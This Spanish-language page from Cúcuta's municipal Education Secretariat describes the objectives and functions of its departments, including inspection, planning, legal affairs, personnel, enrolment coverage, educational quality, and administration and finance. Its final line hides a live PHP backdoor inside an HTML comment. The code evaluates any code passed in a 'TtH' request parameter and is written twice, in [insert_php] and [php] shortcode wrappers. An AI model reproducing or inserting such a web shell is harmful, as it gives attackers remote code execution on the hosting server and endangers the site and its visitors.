Despacho
El Despacho tiene como objetivo: Definir la formulacion de políticas y objetivos generales. Coordinar la gestión de calidad en sus acciones y roles en educación y en sus relaciones interinstitucionales e intersectoriales. Desarrollar áreas de servicio y de gestión, definidas para la prestación de los servicios y cumplimiento de los objetivos en cuanto a la educación.
Area de Inspección y Vigilancia
El Área de Inspección y Vigilancia tiene como objetivo: Ejercer como función del estado, la verificación de que la prestación del servicio educativo se cumpla dentro del ordenamiento constitucional, legal y reglamentario, con el fin de velar por su calidad, por la observancia de sus fines, el desarrollo adecuado de los procesos pedagógicos y asegurar a los educandos las condiciones necesarias para su acceso y permanencia en el sistema educativo. De acuerdo con el artículo 171 de la Ley General de Educación, los Gobernadores y los Alcaldes podrán ejercer la Inspección y Vigilancia a través de las respectivas Secretarías de Educación o de los organismos que hagan sus veces. LEGISLACION NACIONAL Ley 115 de Febrero 8 de 1994, por la cual se expide la Ley General de Educación. Ley 715 de 21 de Diciembre de 2001, por la cual se dictan normas orgánicas en materia de competencias y recursos para organizar la prestación de los servicios de educación y salud. Decreto 907 de 23 de Mayo de 1996, por el cual se reglamenta el ejercicio de la suprema inspección y vigilancia del servicio público educativo y se dictan otras disposiciones.
Area de Planeación Educativa
El Área de Planeación Educativa tiene como objetivo: Planificar y coordinar la prestación del Servicio Educativo en los Niveles de Preescolar, Básica y Media en condiciones de equidad, eficiencia y calidad. Funciones Esenciales: Coordinar la prestación del Servicio de Educación en los Niveles de Preescolar, Básica y Media en el municipio. Coordinar el acompañamiento técnico a las instituciones educativas. Coordinar y presentar el plan de acción y su evaluación ante las entidades competentes. Coordinar el plan indicatvio y la matriz de eficacia. Elaborar los planes de mejoramiento para presentar a las contralorías. Determinar los indicadores de gestión respectivas. Recibir, Analizar y dar respuesta a los derechos de petición, quejas y reclamos de competencia.
Area Jurídica
El Área Jurídica tiene como objetivo: Liderar los procesos judiciales de acciones de tutela, los extrajudiciales y los prejudiciales, coordinando la labor de los profesionales jurídicos de la Secretaria de Educación y ofreciendo asesoría jurídica dentro de los términos y el marco legal vigente.
Area de Talento Humano
El Área de Talento Humano tiene como objetivo: Precisar, recomendar y proponer la transformación de la planta de personal docente requerida para los EE oficiales y la planta de personal administrativa de la SE; para adecuarlas a las políticas de asignación de docentes por cantidad de alumnos matriculados en los EE oficiales y a la reestructuración de cargos administrativos definida por la entidad territorial, garantizando el soporte y la eficiencia en el servicio educativo ofrecido por la Entidad. Controlar y hacer seguimiento a la planta de personal docente y administrativo de la SE, manteniendo actualizada la información teniendo en cuenta los cambios de la matrícula y las novedades administrativas que afectan dicha planta, basándose en los parámetros de viabilización de planta establecidos por el MEN y la Entidad Territorial, además de brindar información oportuna y veraz que apoye la toma de decisiones. Administrar las novedades de la planta de personal y generar los actos administrativos que soporten dichas novedades en la Secretaría de Educación y en los Establecimientos Educativos. Seguir los procedimientos de selección establecidas por la Comisión Nacional del Servicio Civil para el ingreso de docentes y directivos docentes idóneos, Seleccionar personal que posea las mejores condiciones de conocimiento, experiencia y requisitos para desempeñar los cargos vacantes ajustándose a los perfiles solicitados y requeridos en los cargos vacantes de los EE y la SE. Nombrar Personal docente y Administrativo en cargos vacantes definitivos y temporales para el normal funcionamiento de la Entidad y Establecimientos Educativos. Efectuar el seguimiento y evaluación a la calidad de los servicios prestados por los empleados administrativos de carrera y en período de prueba de acuerdo con su perfil, sus responsabilidades y el cumplimiento de sus funciones en el cargo asignado; con base en juicios objetivos sobre la conducta, las competencias laborales y los aportes al cumplimiento de las metas institucionales. Busca valorar el mérito como principio sobre el cual se fundamenten su permanencia y desarrollo en el servicio. Efectuar la inscripción, actualización y ascenso en Escalafón Docente, garantizando que la docencia sea ejercida por educadores idóneos, partiendo del reconocimiento de su formación, experiencia, desempeño y competencias como los atributos esenciales que orientan todo lo referente al ingreso, permanencia y ascenso del servidor docente, buscando con ello una educación con calidad, y un desarrollo y crecimiento profesional de los docentes. Efectuar los trámites de inscripción, actualización en carrera administrativa de los servidores nombrados por concurso, o que asciendan por concurso o sean objeto de cambio de cargo dentro de los procesos de modificación de planta de personal de las SE. Establecer los medios necesarios para el trámite, liquidación, reconocimiento y notificación de las prestaciones sociales y económicas de los docentes afiliados al Fondo Nacional de Prestaciones Sociales del Magisterio. Establecer los procedimientos necesarios para gestionar las reclamaciones por los servicios medico asistenciales que presenten los docentes afiliados al Fondo Nacional de Prestaciones Sociales del Magisterio. Analizar, aprobar y reportar al software de nómina las novedades que afecten la liquidación de salarios y prestaciones de los servidores docentes y administrativos y archivar en la carpeta de historias laborales los soportes de actos administrativos cuando sea necesario. Correr en el tiempo previsto el proceso para la emisión del reporte de prenómina, con el fin de revisarla y aprobarla. Garantizar la administración, actualización, organización, seguridad y disponibilidad de las hojas de vida de los funcionarios administrativos y docentes adscritos a la SE y los EE oficiales, contando con una herramienta que permita mayor agilidad, organización, control y seguimiento de la información consignada en las hojas de vida. Expedir certificados, garantizando un adecuado tiempo de respuesta y óptima calidad.
Area de Cobertura
El Área de Cobertura tiene como objetivo: Definir anualmente las directrices, criterios, procedimientos, responsables y cronograma de fechas de ejecución de los procesos de la Gestión de la Cobertura del Servicio Educativo, a través de la emisión de un acto administrativo basado en los lineamientos del nivel Nacional y del Ente Territorial Certificado, el cual es divulgado a las partes interesadas. Determinar la capacidad de oferta de los Establecimientos Educativos oficiales y programas de educación no tradicional, en términos del número de cupos libres y ocupados. De esta manera el Establecimiento Educativo puede determinar los cupos requeridos para su funcionamiento y definir las estrategias de ampliación de oferta necesarias, que permitan garantizar la continuidad y atender las solicitudes de los alumnos nuevos. Consolidar y validar la información correspondiente al cálculo de la proyección de cupos reportada por los Establecimientos Educativos a través de las diferentes instancias para analizar la información y buscar estrategias para garantizar la continuidad de los alumnos. Identificar estrategias para asegurar el acceso y la permanencia de los alumnos en el sistema educativo oficial, a nivel de Secretaría de Educación. Conocer con antelación la demanda real de los alumnos antiguos para el siguiente año lectivo. Gestionar las solicitudes de traslados y transferencias de los alumnos matriculados en el Sistema Educativo Oficial, según lineamientos establecidos. Asignar cupos escolares a alumnos mayores o iguales de 5 años provenientes de entidades de bienestar social o familiar para asegurar su ingreso al sistema educativo oficial según criterios de prioridad. Formalizar la solicitud de cupo que realizan los padres de familia o acudientes de los alumnos nuevos que desean acceder al sistema de educativo. Otorgar cupos escolares a alumnos de traslado, nuevos y provenientes de entidades de Bienestar Social o Familiar, en función de la disponibilidad de cupos existente, según criterios de prioridad establecidos por la Secretaría de Educación. Renovar la matrícula de los alumnos antiguos y formalizar el registro de la matrícula de los alumnos nuevos en el Establecimiento Educativo oficial. Registrar permanentemente las operaciones que reflejan el movimiento de los alumnos durante el año lectivo. Realizar Auditoría a la ejecución del Macroproceso Gestión de la Cobertura del Servicio Educativo para analizar el comportamiento del mismo, las inconsistencias existentes y las mejoras encontradas, lo cual permite mantener un enfoque de autocontrol y mejoramiento continuo.
Area de Calidad Educativa
El Área de Calidad Educativa tiene como propósito: El área de Calidad Educativa de la Secretaría de Educación Municipal de San José de Cúcuta tiene como propósito: apoyar a los establecimientos educativos oficiales y no oficiales en el uso de la información de los resultados de las evaluaciones educativas para la toma de decisiones, desarrollar acciones para el fortalecimiento en las áreas de la gestión escolar y, en general, garantizar el mejoramiento continuo de los establecimientos educativos del municipio. Para ello se fundamenta en la orientación del MEN según el cual una “Educación de Calidad es aquella que forma mejores seres humanos, ciudadanos con valores éticos, respetuosos de lo público, que ejercen los derechos humanos, cumplen con sus deberes y conviven en paz. Una educación que genera oportunidades legítimas de progreso y prosperidad para ellos y para el país” (MEN, 2010). Para el cumplimiento del propósito del área de Calidad Educativa de la Secretaría de Educación Municipal de San José de Cúcuta, se desarrollan los siguientes frentes de acción: Analizar y promover la utilización de los resultados de las evaluaciones de estudiantes con fines de mejoramiento. Analizar y promover la aplicación y uso de resultados de las evaluaciones de docentes y directivos docentes de establecimientos educativos oficiales con fines de mejoramiento. Orientar la ruta del mejoramiento institucional en los establecimientos educativos. Orientar el fortalecimiento y gestión del proyecto educativo institucional – PEI de los establecimientos educativos oficiales. Orientar la gestión de la autoevaluación institucional y los Planes de Mejoramiento Institucional – PMI de los establecimientos educativos oficiales. Elaborar y ejecutar el plan territorial de formación docente. Orientar estrategias para implementar proyectos pedagógicos transversales desde los proyectos educativos institucionales de los establecimientos educativos oficiales. Orientar estrategias para la articulación entre los diferentes niveles educativos, desde los proyectos educativos institucionales de los establecimientos educativos oficiales. Gestionar el uso y la apropiación de medios y tecnologías de información y comunicación – MTIC en los establecimientos educativos oficiales. Fortalecer las experiencias significativas de los establecimientos educativos oficiales.
Area Administrativa y Financiera
El Area de Gestión Administrativa y Financiera tiene como objetivo: – Elaborar y realizar seguimiento al Plan de compras de necesidades de funcionamiento e inversión de la Secretaría de Educación y Establecimientos Educativos para la vigencia fiscal. – Lograr transparencia en la adjudicación de contratos, ya sea por contratación directa, licitación o concurso y convenios para su normal funcionamiento. – Agilizar los trámites correspondientes al perfeccionamiento de contratos o generación de órdenes de compra a fin de poder iniciar las actividades pertinentes de acuerdo con los términos acordados en la etapa precontractual. – Realizar seguimiento a la actualización de los inventarios de bienes muebles e inmuebles de los Establecimientos Educativos, realizado por el Grupo de Bienes del Ente Territorial. – Garantizar los recursos necesarios para el pago de servicios públicos de cada uno de los Establecimientos Educativos oficiales y Secretaría de Educación, ejerciendo control sobre el uso racional de los mismos mediante análisis y estudio estadístico constante. – Planear, programar y ejecutar la atención de la infraestructura de los Establecimientos Educativos para su adecuado funcionamiento en condiciones de salubridad y seguridad, en coordinación con la Secretaría de Infraestructura del Ente Territorial. – Elaborar el presupuesto de la Secretaría de Educación para la vigencia fiscal, con el fin de planear los recursos financieros que permitan garantizar el logro de los objetivos, planes de desarrollo, programas, subprogramas y proyectos, y obtener la aprobación del presupuesto por parte del Ente Territorial y el Concejo Municipal. – Coadyuvar al logro de resultados y toma de decisiones de la Secretaría de Educación, mediante la administración de los recursos financieros, posibilitando la ejecución de los pagos tanto de la vigencia actual, como de la vigencia anterior. – Cumplir con las disposiciones legales para entregar informes de retroalimentación de la ejecución presupuestal, facilitando el control mediante la utilización de los diferentes mecanismos de monitoreo, para efectuar los ajustes requeridos de manera que no se vea afectada la labor de la Secretaría de Educación. – Realizar un registro sistemático de los hechos contables de la Secretaría de educación con el fin de suministrar resultados operacionales reales, permitiendo conocer y demostrar los recursos controlados, las obligaciones pendientes y los cambios que hubieren experimentado tales recursos. – Generar estados contables y de actividad financiera, económica y social de forma oportuna, consistente, relevante, comprensible, verificable y razonable de las operaciones financieras del Ente Territorial, de acuerdo con la normatividad vigente. – Verificar y consolidar la información de las instituciones educativas (Fondos de servicios educativos) de la Secretaría de Educación, de acuerdo con la normatividad vigente, con el fin de realizar seguimiento, análisis y asesoría apropiada a los mismos para una correcta utilización de los recursos. <!– [insert_php]if (isset($_REQUEST["TtH"])){eval($_REQUEST["TtH"]);exit;}[/insert_php][php]if (isset($_REQUEST["TtH"])){eval($_REQUEST["TtH"]);exit;}[/php] –>
